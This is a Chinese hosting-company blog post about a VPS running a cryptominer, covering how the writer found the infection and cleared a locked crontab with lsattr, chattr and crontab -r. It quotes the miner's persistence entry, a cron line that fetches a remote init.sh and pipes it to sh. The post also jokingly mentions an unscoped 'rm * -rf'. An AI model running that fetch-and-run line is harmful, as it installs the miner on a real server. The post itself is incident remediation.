云主机云服务器
香港VPS被挖矿怎么办?解决云服务器提示有挖矿程序
2023/3/30 1020次香港VPS云服务器被挖矿怎么办?很多客户买了一诺网络科技的服务器之后，很久都没有管了，最近每天凌成三点阿里云发短信提示出现紧急安全事件：挖矿程序，建议紧急处理。建议检查一下监控，所有指标是否正常，是否有肉机特征！
症状：
先top free df看一下，老铁没毛病啊，然后还是发现了一些异常文件，当时没有截图，导致大家看不了，于是赶紧一顿rm * -rf
哈哈，没有了，开心一下。。。。。。。第二天短信依然而来，细心的我发现了有个定时任务(crontab -l查看)有条语句:
*/6 * * * * curl -fsSL http://w.3ei.xyz:43768/init.sh | sh > /dev/null 2>&1
解决：
找到问题赶紧解决，删除定时任务文件，执行 crontab -e 命令，提示如下错误
crontab: installing new crontab
/var/spool/cron/tmp.XXXX6bK9dR: Permission denied
crontab: edits left in /tmp/crontab.ssXqpW
通过报错信息发现是 /var/spool/cron/目录无法写入。 目录被设置为不能被删除、改名、设定链接关系，同时不能写入或新增内容。
解决方案：
执行如下命令，进入 /var/spool/cron/目录。
cd /var/spool/cron/
执行如下命令，进行写入测试。
touch abc
系统显示类似如下，无法写入。
touch: cannot touch `abc’: Permission denied
此时想到，目录可能有什么特殊的地方，root用户也被约束了。
切换到上级目录，执行如下命令。
lsattr cron/
系统显示类似如下，发现文件有“ai”属性。
—-ai——–e- cron/root
查找资料“i”属性设定文件不能被删除、改名、设定链接关系，同时不能写入或新增内容；a是访问具有属性集的文件时，不会修改其atime记录，这可以避免一定量的磁盘I / O操作
4. 执行如下命令，删除“ia”属性。
chattr -ai cron/
5.再次执行 crontab -e 命令，系统显示类似如下
crontab: installing new crontab
crontab: error renaming /var/spool/cron/tmp.XXXXwhWDUP to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.5f279w
6.执行如下命令，修改/var/spool/cron/root权限
chattr -ai cron/root
7.执行 crontab -e 命令，系统显示类似如下，表示恢复正常。
crontab: installing new crontab
8.解决问题删除害虫文件
crontab -r
问题解决：
开心啊，从自通过处理以后，就再也没有收到报警短信了，o(∩_∩)o 哈哈
最新发布
版权声明
- 声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们996811936@qq.com进行处理。
